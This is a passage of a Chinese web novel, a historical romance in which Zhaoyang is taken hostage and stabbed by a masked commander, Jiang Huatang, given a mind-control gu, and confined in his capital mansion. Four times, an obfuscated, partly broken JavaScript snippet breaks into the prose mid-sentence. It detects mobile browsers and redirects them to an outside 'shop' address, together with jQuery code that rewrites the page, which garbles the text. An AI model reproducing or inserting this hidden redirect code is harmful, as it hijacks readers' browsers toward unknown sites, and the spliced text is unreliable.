你说你一个姑娘家走路这么磨磨唧唧也就罢了,不就是给个东西嘛,用得着这么羞涩一笑嘛,还以袖掩面呢,怎么不见你将整张脸都遮了去。 昭阳越想越烦躁,男人的世界她不了解,古代男人的世界她就更不懂了。 瞧瞧苏无虞收下锦囊后的样子,还朝着人姑娘笑了笑,那叫一个如沐春风,欲化冰雪,明显是受用的很,难怪他在自己面前总是一副呆头傻脑的模样,原来是喜欢那种小家碧玉型的姑娘,简单粗暴果然不适合古代人。 本来已经觉得心中郁闷得很,偏偏在此时,房门外竟传来了敲门声,给昭阳的心头更添七分暴躁。 “昭阳,你在里头吗?”不出所料,门外传来了熟悉的声音,也正是此刻,昭阳最不想听见的声音。 于是,她用力翻身朝向床的内侧,转而将被子整个蒙过了头顶。 听不到,什么也听不到。 而此时门外头的苏无虞根本不知今早发生的事儿,又哪会知道昭阳心中正上演的这番心理斗争,在他看来,自他与陆仁秉从姚家回来后,便见昭阳大门不出二门不迈的,竟是一下午都未见其人影。 他本以为昭阳这是前些日子太累所致,便想着让其好好休息,也未做打扰。可眼下已到了饭点,若说歇息,那这一觉未免睡得也有些太沉了,苏无虞觉得有些不对劲儿,于是就想着来瞧瞧。 本只是觉得有些疑惑,但眼下敲了这么久的门,里头的人愣是半点儿动静都没有,苏无虞心下隐隐担忧起来,“昭阳,你在里头吗?可是身子有哪儿不舒服,你且先开门,容我进来瞧瞧,可好?” 昭阳起初都是沉默应对,可眼见着两人这一里一外地胶着了半晌,昭阳知道苏无虞定会不依不饶地一直等候在外头,这会她倒有些坐不住了,便想着不如放他进来,再搪塞一番早些将他打发走,这才是上上策。 于是,她不情不愿地下了床,不耐烦地将木门拉开。 门外的人显然没料到昭阳会忽然开门,四目相对间,先是愣了一下,而后竟有些无措,“你……还好吗?”苏无虞的双眸不自觉地垂下。 他这副有些不好意思的模样,落在此时昭阳的眼中,却全然不是这么回事儿。 “我哪有这么柔弱,倒是让你失望了。”也不知怎的,昭阳此刻一见到他就来气,没好气地从嘴里蹦出了这么几个字。 这话一出,苏无虞更是一头雾水,“失望?” “可不是嘛,像我这样的女子,哦不,兴许在你的眼中,我应是全然没有半分女子的样子吧,”昭阳自嘲着,“也难怪你对着我总是一副死气沉沉的模样。” “我原以为那是你的性子,可如今想来,到底还是我不值得被温柔以待吧。”昭阳说着说着,只觉得心中一阵委屈,不知不觉,鼻子竟有些微微发酸。 面对这劈头盖脸的一通指责,苏无虞默默地听着,“我,从未那样说过……”他从未见过这样的昭阳,更是从未应付过这样的场合,她,这是在闹脾气吗?可是,她为什么要忽然闹脾气?他不解。 “还需你说吗?难道你不一直都是这么做的吗?”回想起白天的场景,苏无虞对着姚家二姑娘的样子,他那样冲着她笑,温和而青涩,看起来是多么的岁月静好,与平日里忧郁自卑的模样截然不同,那是昭阳从未见过的少年模样。 “我,何时那样做过?”苏无虞有些莫名,“昭阳,你这是怎么了?我不知这一天究竟发生了什么事,但你若有什么不快,大可以告诉我的。” “不必了。”昭阳发泄完,只淡淡地说道。 不必了,这三个字犹如一味猛药下在了苏无虞的心头,原本想说的话霎时被噎了回去,“既如此,那你便好好歇息吧。”他的声音里听不出任何情绪。 昭阳望着他转身离去的背影,一时间也有些无措,然而,正当她准备关起房门的时候,只见不远处的苏无虞忽然驻足,“今日一切还算顺利,我们商议过了,会在三日后想办法将姚姑娘接出来,而后,嘉诚县恐怕我们都待不下去了。” “我知道了。” “嗯。” …… 三天的时间不长,而在这三天的时间里,昭阳倒是与那厢忙忙碌碌的二人过着截然不同的生活。 自那日不欢而散后,期间除了陆仁秉来串门了好几次,瞎聊了些不着边际的话以外,苏无虞竟是一反常态的再无踏足过昭阳的房门,起初昭阳还有些气恼,可转念一想,自己也落得个轻松自在。 一转眼,陆仁秉口中的“大计划”实施之日来临,由于昭阳后期都未参与到这什么抢亲计划中去,所以此刻只是在郊外小林中扮演着提行李NPC的角色。 虽说与苏无虞冷战了三日,但事到如今,独自一人在这儿等待的昭阳,若说全然不担心,那定是骗人的。 此刻,昭阳正带着几人事先准备好的行李,按着苏无虞他们事先计划的那样,在嘉诚县外的一座林中小亭中托腮望着远方。 估摸着时间,他们几人应该已经得手了才是,昭阳等了许久,正当她快要坐不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548151|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的时候,只听不远处传来了窸窸窣窣的声音,像是有人正在朝这个方向走来,昭阳起身想要迎出去,可还未走出几步,她的脚却像灌了铅似的。 出现在她面前的,是故人,却不是他。 林中起风了,血色的残阳播散在这错综盘踞的枝叶间,在地上倒映出一片片支离破碎的黑影,眼前的景象诡异极了,一袭墨袍的男子长身玉立,衣袂蹁跹,那一张玄铁的鬼面仿佛是记忆深处的影子,将一段本属于梦境中的记忆,生生拉回了现实。 鬼面在夕阳的映照下好似泛着森森寒意,昭阳不自觉地朝后退了几步,此刻大脑仿佛已不能思考了,这个人,为什么会出现在这里? “好久不见啊。”鬼面后的人率先开口,那玩味的语气,透着睥睨万物的不屑。 昭阳只觉得进退两难,“啊,原来是你啊,难得贵人还记着我这个小老百姓,万分荣幸,万分荣幸。”言罢,她挤出了一个自认极其狗腿的尴尬笑容。 不料,鬼面人此刻却笑了起来,“你可是死后要进我家祖坟的人,我又怎会忘了呢?” 我天,他居然还记得!昭阳暗自腹诽,这个家伙到底想做什么。 “不敢,不敢,贵人说笑了。”昭阳继续恭维,这人身上散发着极其危险的信号,想想他当时捏死那条蛇的样子,她可不想一不留神就一命呜呼了。 “是么?我瞧着彼时你可是一副认真的模样,”鬼面人笑了笑,转而道,“后来我想了想,嗯,也不是不可,或者,眼下我便成全了你?” 神经病,这人一定是神经病,此话一出,昭阳已不想再与他虚与委蛇了,她只想赶紧逃命! 可谁知,鬼面人仿佛会读心术一般,昭阳这才刚刚转身,他便已迅速绕到了她的身后,只见他的大手一挥,昭阳只觉得一股强大的力量束缚在身上,下一秒,身体仿佛已经不属于她了。 但出乎意料的是,鬼面人并没有真的出手要她的性命,而是捂住了她的嘴,将其整个人拖进了附近的某个草丛中与他一道蹲了下来。 这一系列动作来的太快,正在昭阳还找不着北的时候,她只觉一股温热的鼻息萦绕在自己的耳畔。 “瞧,你等的人来了。”他的语气仿佛是在看一个笑话一般。 昭阳起初有些不解,但待到她定睛朝前一看之时,只觉得大脑有那么一瞬间是空白的,下一秒,她只觉得,自己的确像是个笑话。 林中传来了脚步声,打头的是陆仁秉与一素衣少女,只见他揽着身旁的女子,倒是一改往日里那副不靠谱的模样,而在他们身后的,同样是并肩而行的两人,少年风姿绰约,白衣飘飘,身旁的黄衫少女娇羞可人,时不时望向一旁的少年。 如此景致,竟是说不出的和谐。 昭阳愣愣地看着四人朝着小亭的方向走去,不知何时,眼眶中似乎有什么温热的东西顺着脸颊迅速落下。 她从未如此刻般,觉得自己是多余的。 “怎么,要不要我为你试试那小情郎?” …… 18. 别离 还未等到昭阳回过神,她只觉得自己的口中被塞进了类似布条的东西,随后一把冰冷的长剑不知何时已架上了她的颈间,紧接着,身后的鬼面人以迅雷不及掩耳之势将她整个人拖了出去。 凉亭内的一行四人显然被这突如其来的一幕给惊着了。 “你想做什么!”还是苏无虞率先反应过来,迈步朝着鬼面人的方向走来。 鬼面人见状倒也毫不忌讳,“你再过来一步,可别怪我手上的剑不听话了。”说着,只见他的手头稍一用力,昭阳的颈间瞬间被划出一条血痕。 “你快放了她!你要是要钱,我这边有,我可以全部给你!”一旁的陆仁秉也急了,然而鬼面人全然没有理会他。 苏无虞咬牙,却又不敢再轻举妄动,“你是谁,究竟想要做什么!”他几乎是嘶吼着。 见他发怒,鬼面人倒是正中下怀似的,他笑了笑道,“没什么,我只是想抓个人质,你若想我放了她,也不是不可,只是你要答应我一件事。” “说!”苏无虞显然已经有些不耐烦,这是昭阳第一次见他如此刻般暴躁。 “什么条件都可以?”鬼面人轻佻一笑。 “你放了她,只要我做得到,我一定……” “用你身边那个姑娘来换她。” 话音刚落,林中霎时安静了下来,陆仁秉与他怀中的女子面面相觑,而那黄衫少女更是吓得往后退了半步。 昭阳知道这就是鬼面人口中的“试探”,她屏息凝视着眼前这个白衣飘飘的少年,此刻,她是害怕的,可她怕的不是脖子上的长剑,不是身旁的恶人,而是他口中的一个答案。 苏无虞的双拳紧攥,额头青筋暴起,似乎正在经历着一场严峻的考验。 “不行。”慢慢的,他的口中艰难地吐出了两个字。 不行,简单的两个字,就像一把剜心的利刃,瞬间狠狠地捅在了昭阳的心上。 “那时你说的,你照顾我,而我也可以陪伴你,故而只要你不嫌弃,我便是不会走的。” “我打听了那卖荷灯的婆婆住处,就在这镇上,不远的。昨儿个没料到会出乱子,你若是高兴的话,今晚我便陪你去将它放了吧。” 过往的一幕幕匆匆从眼前闪过,昭阳只觉得自己从未如此崩溃过,泪水早已源源不断地夺眶而出。 “苏大哥。”那黄衫少女约莫是没想到苏无虞会在这个时刻选择保护她,朝着苏无虞的方向挪了一步。 而此刻的苏无虞,压根没有心思去理会她,“我不能搭上无辜人的性命。” “哦?无辜?”鬼面人玩味一笑,“按你说的,这位好端端在凉亭等人眼下却被我挟持的姑娘就不是无辜的?” 苏无虞没想到鬼面人会这么说,竟也是一时语塞。 不过,随后鬼面人竟兀自笑了起来,“既然你已做了选择,那么这世上便没有后悔药可以吃了。” 言罢,几乎是刹那的光景,鬼面人抄起手中的长剑,毫不犹豫地将长剑朝昭阳挥去。 此时的昭阳只呆呆地杵在原地,眼见着利刃贯穿过自己的身体,温热的血液顺着长剑流下,那是撕心裂肺的疼痛,她有些重心不稳,即刻跪坐在了地上。 口中的布条不知何时已散落,她用最后的力气抬起头望向不远处的白衣少年。 “彼时你说过,只要我不弃,你便不会离开,不过须臾,如今,却是你将我弃了。” 话音刚落,昭阳只觉得眼前的东西都开始变得模糊起来,耳边出现了嗡嗡的轰鸣声,仿佛还有人在嘶吼着唤她的名字,然而她似乎已经听不清了。 或许,这就是死亡的感受吧。 此刻的昭阳,霎时觉得这滚滚红尘之中自己已无任何可留恋之物,她觉得自己的身子好累。 不如就这样睡吧,她这样告诉自己。 而后,便是无尽的黑暗…… 昭阳整个人重重地倒在了地上,已然没有了知觉,唯有那腥红的鲜血,浸湿了她的衣衫。 这一切来得太快,显然已经超出了所有人的预料范围,此刻的苏无虞只觉得自己的灵魂随着她的倒地被抽空了,他瘫坐在地上,愣愣地看着她。 “是我,是我弃了你,是我的错……”他喃喃自语着。 鬼面人淡淡看着眼前的景象,似乎一切尽在他的意料之中,他缓步上前,从怀中掏出了一颗褐色的药丸,塞进了昭阳的口中。 “你给她吃了什么!”苏无虞皱眉望着眼前人。 “没什么,止血生津,她死不了的。”鬼面人耸了耸肩。 先是狠下杀手,再施药医治,这个人显然还有更深的目的,苏无虞起身,冷冷看着眼前的这张玄铁鬼面。 他仔细回忆着,可似乎梳理不出任何线索。 “你是冲着我来的。”他的话冰冷而肯定。 鬼面人嗤笑一声,“没错,还不算太笨。” “别伤害她。” “这可由不得你。”鬼面人言罢,撕下了身上的一块布条,简单将昭阳腹部的伤口包扎了一下,其实他下手时自有分寸,根本没有伤及要害,只要及时止血医治,昭阳根本不会有生命危险。 “你若再想见她,便来京城。”鬼面人将昭阳打横抱起,只冷冷的抛下了这么几个字。 “你是他的人?”苏无虞咬牙恨恨道。 “你觉得呢?”鬼面人冷笑,“只是,你可要抓紧了,你今日所作所为,我可不保证届时她还会想见你。” “这是我二人的事,不劳阁下操心。”苏无虞的拳头越捏越紧,指甲嵌进了肉里,留下了殷红的鲜血,而他自己却浑然不知。 鬼面人冷哼一声,并未再理会,只是径自朝着林中深处走去。 苏无虞望着他渐渐远去的背影出了神,身后的陆仁秉有些不解,“无虞兄弟,为何不奋力一搏?好歹我们人多。” 苏无虞看了他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548152|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,只是无奈的摇了摇头,“没用的,”他叹了口气,“越是挣扎,她只会伤得更重。” 陆仁秉有些不解,但在这个节骨眼上,显然苏无虞的心情是极差的,他也不敢再多说些什么。 而那厢,鬼面人抱着已经完全失去意识的昭阳独自走在小林中,没一会儿,只听得两旁的树叶剧烈的摇晃起来。 不过片刻功夫,已有三个身着黑衣的剑客出现在了林子里,三人见了鬼面人,立刻单膝行跪拜之礼,连头也不敢抬一下。 “车马可备好了?”鬼面人冷冷道。 “就在林外小溪边。”其中一个剑客答道。 “很好,”鬼面人看了一眼怀中人,“巫医呢?” “已候着了。”剑客利落答道,不敢怠慢。 “将她带来。”鬼面人道,“这出戏真是越来越有意思了。” “是,督主。” 人道皇城辑事司钦差总督江画棠,行事狠厉毒辣;江湖传闻苗疆有巫医,养蛊炼丹可摄人心魄,习得傀儡之术。 此时,一名剑客立马从怀中掏出一颗褐色药丸,与先前江画棠在林中给昭阳喂下的一模一样,“督主,巫医嘱咐,此药不可断。” 江画棠应了一声,便又将药丸塞进了昭阳的口中,而不久后,一名身着苗疆服饰的老妇人便被带到了江画棠与昭阳面前。 “你给她瞧瞧吧。”江画棠只是淡淡道,示意巫医过来。 那巫医听罢,便走到昭阳面前,从怀中掏出了一个白瓷的小瓶,往其中滴了一滴不知是什么的液体,而后便将小瓶放在了昭阳的鼻间。 过了一会儿,巫医又为昭阳把了把脉,这才将白瓷小瓶又收回怀中,“回禀督主,督主先前在这位姑娘身上下的蛊虫,如今已成熟,只要长期给蛊虫喂食药丸,便可行摄魂之术。” 江画棠听了巫医的话,显然非常满意,“很好,退下吧。” 言罢,他又命手下将马车驾来,帘子掀开,里头坐着一位约莫四五十岁的妇人,江画棠将昭阳抱上了马车,对妇人叮嘱道,“她受了剑伤,为她处理一下,回去后暂且安顿在西苑。” 妇人毕恭毕敬地对着江画棠点了点头,“是。” “我还需再去别处,你们先回去吧。”江画棠对着妇人道,倒是全然没了方才的威严与戾气。 妇人叹了口气,而后点了点头,“以你如今的地位,这样做,真的会使你快乐吗?” “快乐?”他冷哼一声,“这是什么东西?我曾有过吗?华姨,我以为你会懂我。” 那位被唤作华姨的妇人摇了摇头,而后轻轻将马车的帘子放下,“罢了,你且放心去做事吧,你说的,华姨自会为你做好,你只注意自己安全便是。” “我自有分寸,不早了,启程吧。” 江画棠目送着马车渐行渐远,转而回首带着三个剑客离开了小树林。 真正的较量,这才刚刚开始…… 19. 京城 再次睁眼时,映入眼帘的已不是林间带着草木腥气的蓝天,而是绣着缠枝莲纹样的素色纱帐。鼻尖萦绕着淡淡的药香混着一丝若有似无的蜜梅甜香,身下是铺着厚软垫的拔步床,触感柔软得不像话,和她先前住过的乡间茅屋全然不同。 昭阳动了动指尖,只觉得腹部传来一阵牵扯的钝痛,这疼痛清晰地提醒着她,之前在林间发生的一切都不是梦。苏无虞那句“不行”还扎在心上,连呼吸都带着发涩的疼,她缓缓闭上眼,喉咙里涌上一股难以言说的酸楚。 “姑娘醒了?”守在外间的侍女听到动静,连忙掀了帘子走进来,见她睁着眼,脸上立刻露出了喜色,“太好了,我这就去请华姨过来。” 华姨?昭阳心中涌起一股强烈的困惑与不解,她缓缓坐起身来,目光谨慎地扫视着周围的环境。当她的视线落在屋内时,不禁被眼前的景象所震撼——这间屋子装饰得异常华丽,精致的雕花家具、流光溢彩的帷幔以及墙上悬挂的名贵字画,无一不彰显着非凡的气派。昭阳心中更加好奇,暗自思忖:这究竟是什么地方?为何自己会身处如此奢华的居所之中? 侍女的脚步匆匆离去,没过多久,门帘被轻轻掀起,一名妇人端着药碗缓步走了进来。她手中捧着的瓷碗还微微冒着热气,一缕苦涩而清润的药香随之在室内弥漫开来。这位夫人衣着样式十分朴素,并无繁复的纹饰与鲜艳的色彩,然而细看之下,衣裳的用料却是极上乘的——衣料质地细腻柔软,在窗外透入的光线下流转着含蓄的光泽,针脚缜密平整,虽不张扬,却自有一股端雅的气度。 她望向床榻上昭阳的眼神格外温和,目光中含着自然而然的关切,嘴角带着一丝若有若无的慈祥笑意,那神情既不显得过分热络,也不显得疏离,只如春日暖阳般徐徐洒落,令人不觉心生安宁,想来这位便是华姨了。 见她靠在床头怔怔地望着帐顶发呆,华姨忍不住叹了口气,走到床边将药碗递到她面前:“先把药喝了吧,大夫说了,你这伤口得好好养着,不能动气。” 昭阳没有接,只是木然地转过头看向她,开口时声音干涩得吓人:“这里是什么地方?是您救了我?” “是这里的家主救了你,此地是京城,你安心养伤就是,这里没人会苛待你。”华姨把药碗往她面前又递了递,“快喝吧,药凉了就更苦了。” 昭阳依言接过药碗,她知道自己并没有选择,苦涩的药汁顺着喉咙滑下,蔓延而开的味道,苦得她眉头都皱了起来,但仍比不过心口半分的涩。她喝完药,将空碗递还给华姨,轻声问:“这里的家主……喜欢戴着鬼面具?” 华姨正收拾着桌上的碗碟,听到昭阳的话,她的手在空中微微一顿,过了片刻才轻声回应道:“你的确聪明。” 昭阳并未停下,继续追问道:“他先是出手伤我,接着又反过来救我,演这么一出前后矛盾的戏,恐怕背后另有深意吧?” “家主行事自有他的考量和分寸,姑娘眼下只需在这里好好休养身体,我保证,不会有人真的伤害到你的。”华姨一边擦拭桌面,一边温和地说道。 “伤害?他都一刀把我捅了个对穿,这难道还不算伤害吗?”昭阳几乎要气笑了,语气里满是讥讽与不解。 “其实我与你们家主,之前也不过是在山间偶然见过一面。我发誓,我对他真的没有半点恶意,当时只是出于好心,怕他不小心被水里的蛇咬到。”昭阳回忆起那天的情景,心中涌起一阵懊悔——早知如此,当初真不该多管闲事,平白无故招惹上这样一个凶狠难测的人。 “谁想得到,再次见面的时候,他二话不说,提起刀就架在我脖子上。世上哪有这样对待救命恩人的?”昭阳越说越激动,胸口微微起伏。 华姨看着她气鼓鼓的模样,先是转头望了望窗外的方向,随后才无奈地笑了笑,说道:“这些问题,老婆子我实在答不上来。等家主回来了,姑娘不如亲自去问他吧。” 昭阳发泄完心中的怒气,再看向华姨慈祥的面容,忽然觉得自己刚才有些失态,语气不由得软了下来:“抱歉,我不是故意要对您发脾气的。那……他大概什么时候能回来?” 华姨笑着摇摇头:“他平时忙碌得很,具体什么时候回来,我也说不准。不如等姑娘身体好些了,自己在宅子里走走看看,说不定能碰见他。”说完,她便端起收拾好的空碗,转身缓步离开了房间,只留下昭阳一个人静静坐在那里。 片刻之后,华姨手里端着食盒,缓步来到了江画棠的书房门口。她轻轻推开门,只见江画棠正静静地坐在书案前,手中捧着一卷书,目光专注地落在书页上,整个书房里除了翻动纸张的细微声响外,再没有其他声音,显得格外安静。 华姨一边轻手轻脚地将食盒中的餐碟一一取出,在桌面上摆放整齐,一边带着温和的笑意开口说道:“不知道督主是从什么时候开始,也养成了这样听墙角的习惯呢?”她的话语中带着几分调侃。 听到华姨的话,江画棠轻轻咳嗽了一声,似乎想要掩饰自己的些许尴尬,但他的表情却依然保持着往日的从容与镇定。他缓缓放下手中的书卷,目光平静地看向华姨,语气淡然地说道:“只是恰好路过而已,您不必多想。”尽管他试图用轻描淡写的语气带过,但那一瞬间的细微反应,却没能完全逃过华姨的眼睛。 华姨忍不住笑出了声,指尖点了点桌沿:“好了好了,不打趣你了。那姑娘醒了,情绪不算稳,翻来覆去都在问你什么时候回,你打算什么时候去见她?” 江画棠端起茶杯抿了一口温热的茶水,语气听不出情绪:“急什么,那边这两天就该到京城了,等人来了再说。” “你故意演这么一出,非要看着他们两个反目,你才甘心?”华姨收拾着食盒,语气里带着几分不忍,“那姑娘看着软乎乎的,心思重得很,今日那番话,字字都扎在心上,你就不怕真把人逼狠了,出什么意外?” “意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548153|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外?”江画棠放下茶杯,指尖轻轻叩了叩桌案,唇角勾起一抹冷峭的笑,“她本就是我要的人,落在我手里,能出什么意外。那蛊已经养住了,只要药不断,她翻不出我的手掌心。我要的就是他来,我要让他亲眼看著,他在乎的人,最后是怎么将他抛弃的。” 华姨深深地叹了口气,眼神中流露出几分无奈与疼惜,她明白再多劝解此刻也是徒劳,便不再多说什么。她默默地端起桌上已经空了的食盒,动作轻缓地转过身,脚步沉稳地朝书房外走去。 随着门扉的悄然合拢,华姨的身影消失在门外,只留给江画棠一室彻底而深沉的安静,他整个人倚靠在椅子上,目光缓缓移向窗外,静静地凝视着外面的世界,仿佛连时光都在这一刻沉淀下来,只剩下无边的宁静笼罩着整个书房。 这边昭阳独自靠在床头,缓了好一会儿心绪才慢慢平静下来。她撑着身子慢慢下床,扶着墙壁走到窗边,推开雕花木窗,外头的风裹挟着京城独有的烟火气吹了进来,混着院子里石榴花的甜香。 隔着院墙能听到街上传来小贩吆喝的声音,还有车马辚辚驶过青石板路的声响,处处都是繁华热闹的烟火气,和当初乡间的宁静全然不同。她扶着窗沿,望着远处飞檐翘角的屋檐轮廓,指尖冰凉——苏无虞,此时此刻,你又在做什么呢? 风卷起她垂在身侧的衣袖,带着一丝凉意,昭阳轻轻闭上眼,一滴眼泪顺着脸颊滑落,砸在了窗台上的青石板缝里,悄无声息。 就在此时,昭阳突然感到一阵前所未有的、强烈的晕眩感猛然袭来,那种感觉异常猛烈,仿佛她所处的整个世界都失去了平衡,开始天旋地转、剧烈地摇晃起来。紧接着,一阵难以形容的、钻心刺骨的剧烈疼痛从她的头部深处爆发出来,那疼痛如此尖锐和持久,简直像是她的头颅即将被一股无形的力量从内部撕裂开来一般,让她几乎无法忍受,瞬间剥夺了她所有的思考能力。 这究竟是怎么回事?难道头部也遭受了某种严重的撞击或创伤吗?那种从未有过的剧烈疼痛,如同潮水般一阵阵袭来,几乎让昭阳无法忍受。这种难以名状的痛苦,不仅折磨着她的身体,更在她心底深处激起了一股强烈而莫名的恐惧,仿佛有什么不祥的事情正在悄然发生。 昭阳踉跄着扶住窗沿,才勉强稳住身形,不过好在,那股晕眩和疼痛来得快去得也快,不过片刻,刺痛便顺着血管慢慢散开,只余下太阳穴突突地跳。 她缓缓抬起头,目光越过眼前的景象,静静地投向了窗外那片朦胧而深邃的天空。此时此刻,昭阳的心中充满了难以言喻的困惑与迷茫,只觉得有太多未解的疑团如同层层迷雾般笼罩在心头,挥之不去。 关乎京城,关乎这座华丽的宅邸,更关乎那个始终戴着诡异面具、行踪莫测的男人。他的出现与存在如同一个巨大的谜题,让人既感到恐惧又忍不住想去探究背后的真相……这一切交织在一起,构成了她心头沉甸甸的负担与无尽的思索。 20. 西苑 昭阳这段时间在宅子里安心养伤,华姨每日都亲自来送药换药,待她确实周到体贴,并没有半分苛待,只是不管她再怎么旁敲侧击打听鬼面人的事,华姨都只是笑着打太极,半分口风都不露。 天气晴朗、阳光明媚的日子里,昭阳总喜欢在宅院里悠闲地散散步,不过她能自由活动的范围其实相当有限,仅仅局限于这一片小小的天地。从华姨那里,她得知自己现在居住的这个清静院落,大家都唤其西苑。 西苑紧挨着宅邸的西墙,院墙高耸,将外头的热闹都隔了出去,院里种着两株年岁不小的枇杷树,如今正是结果的时节,枝桠上坠着一颗颗金黄饱满的果子,风一吹就轻轻晃着,落在青石板上砸出轻响。院角还摆着几缸荷花,碧色的荷叶铺了满满一缸,粉白的花苞立在叶丛间,偶有蜻蜓停在花苞尖上,倒真是个养人的好地方。 昭阳每日坐在院中的石凳上晒太阳,除了偶尔会突如其来犯一阵头晕,其余时候伤口愈合得倒是不错。只是那每日送来的药丸,颜色黑沉沉的,闻着有股奇异的腥香,她每次咽下都觉得喉头发紧,心里总犯着嘀咕,却也知道自己如今寄人篱下,根本没有拒绝的余地。 这日午后,昭阳正靠着枇杷树翻一本华姨送来的话本,忽然听见院门外传来一阵细碎的脚步声,还夹着几声低低的说笑,不似往日平日里只有洒扫侍女安静往来的模样。她抬眼望去,就见院门被轻轻推开,两个穿着水绿色比甲的侍女提着食盒走进来,瞧见坐在树底下的昭阳,都愣了一下,似乎没想到院里会有人。 昭阳合了话本,静静看着她们,其中一个圆脸侍女先回过神,笑着福了福身:“原来姑娘在这里,我们是前头厨房来送晚膳的,华嬷嬷今日去前头伺候家主,吩咐我们把饭送过来。” 另一个瘦些的侍女放下食盒,目光偷偷在昭阳脸上转了两圈,两个人摆好了饭菜,又给昭阳添了新的茶水,便低眉顺眼地退了出去。 只不过在二人转身离开之际,只听瘦侍女压低了声音小声对同伴说:“我就说嘛,督主肯把人安顿在西苑,肯定是放在心尖上的人,你还不信。” “小声些,仔细你的皮,督主的事也是咱们能议论的?”圆脸侍女连忙扯了她一把,眼神里带着警示。 那瘦侍女吐了吐舌头,不敢再说话,二人脚上的步子也加快了许多,片刻后边消失得没了踪影。 昭阳望着满桌精致的菜肴,手里的筷子却半天没动,她方才听得清楚,那两个侍女说“督主”,难不成鬼面人竟是宫中的督主江画棠?怪不得他周身那股生人勿近的戾气,还有这般大的手笔,在京城中心置下这么大的宅邸。 可一个宫里的宦官,为何要费这么大周折把自己掳到这里,还下了什么摄魂的蛊?这一切会和苏无虞有关吗?这段时间昭阳思考了许多,从那日的情景来看,鬼面人真正的目的,似乎是为了威胁苏无虞。 指尖轻轻叩着石桌,昭阳心里慢慢理清了脉络,那日在山间鬼面人就曾对着苏无虞放狠话,也不知道在自己昏迷之后,又发生了什么事情。若鬼面人真是督主江画棠,那苏无虞等人定然不是他的对手,他们现在的处境,不知如何。 正想得入神,院门外忽然传来一阵沉稳的脚步声,守门的丫鬟齐齐行礼:“家主。” 昭阳的心猛地一跳,猛地抬起头,就见那道熟悉的玄色身影立在院门口,鬼面具依旧遮住了他大半张脸,只露出线条冷硬的下颌和一双沉得像深潭的眼睛,正静静地望着她。 他终究还是来了。 那个戴着青面獠牙面具的男人一步步走了进来,宽大的衣摆扫过青石板,周身带着生人勿近的冷意。四目相对,整个院子里的风声都仿佛停了下来,昭阳攥着手里的筷子,指尖微微泛白,只听见鬼面人淡淡开口:“看来你的伤,好得差不多了。” 昭阳垂下眼帘,掩去眸中翻涌的情绪,声音里带着几分按捺不住的冷意:“托您的福,命大,还死不了。说吧,你费这么大功夫把我抓到这里,到底想要什么?直接开口便是,不必绕这么多弯子。” 鬼面人走到她面前几步站定,目光落在她苍白却依旧挺直的肩背上,低沉的笑声从面具后透出来,带着几分戏谑:“我想要什么?这些天你的脑袋里,恐怕没有少胡思乱想吧?说说看,你觉得,我想要什么?” “我对你本身没什么兴趣,你如果觉得当初我唐突了你,那我在此向你致歉。”昭阳义愤填膺道,“你身份尊贵,又何必抓着我这种无名小卒不放?我一没身份,二没才能,你这般养着我,也只是在浪费府上的粮食罢了。” “嗯,只不过,我府上从来都不缺粮食。”鬼面人轻笑,“许久没有人,这般对我说话了,我觉得甚是有趣。” 昭阳只觉得胃里一阵翻涌,他这副漫不经心的模样比挥刀架在她脖子上更让人难受,她猛地抬眼看向他:“有趣?江督主把人一刀捅了再圈起来,就只是为了这点趣味?” 江画棠显然没料到她已经知道了自己的身份,顿了顿之后才缓缓开口:“看来,我的下人嘴倒是不严。”他说着,伸手抚了抚面具的边缘,“既然你已经知道了,那我也不必瞒你,我要的从来不是你,你不过是我用来引他来的饵。” 昭阳的心猛地一沉,果然和苏无虞有关,她咬了咬唇,声音发紧:“你就笃定他会来?别期待得太多,最后却落了空,届时花了那么多心血,反而赔了夫人又折兵,你别迁怒到我头上就行。” “赔?我江画棠如今的身份,从来只有我赚别人的,可没有亏过本。”江画棠往前又走了一步,居高临下地看着她,指尖轻轻勾起她的下巴,强迫她抬头看着自己,“况且,饵养好了,终究是我的人,就算得不到我想要的,我也不算亏,不是么?” 他指尖带着凉意,触碰到皮肤的瞬间,昭阳只觉得一阵恶寒,她猛地偏头躲开他的触碰,起身想要退开,却因为伤后体虚,脚下一个踉跄,险些栽倒,江画棠伸手稳稳扣住了她的腰,将人带在了自己怀里。龙涎香混着淡淡的冷香萦绕在鼻尖,昭阳挣扎着想要推开他,却被他扣得更紧。 “别动,”江画棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 